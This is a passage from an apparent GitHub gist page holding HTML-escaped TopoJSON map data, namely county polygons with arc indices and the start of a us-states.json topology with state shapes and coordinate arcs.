quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/a9012e6300d13ec5249b8f5827430505">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,3